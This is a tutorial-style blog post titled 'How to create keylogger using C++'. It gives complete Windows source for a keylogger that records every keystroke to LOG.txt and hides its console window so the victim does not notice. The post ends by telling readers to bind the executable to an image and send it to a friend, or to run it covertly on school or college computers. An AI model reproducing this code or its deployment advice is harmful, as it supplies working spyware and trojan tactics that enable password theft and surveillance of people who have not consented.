HOW TO CREATE KEYLOGGER USING C++


Hy guyz. In this post i will teach you how to make a keylogger using C++.
How to create Keylogger using Visual C++?
Requirements:
Dev C++. DownloadKnowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.Paste this code:
--------------------------------------------------

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}


---------------------------------------------------
Compile the Code(Ctrl+F9).Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.
Enjoy !!!
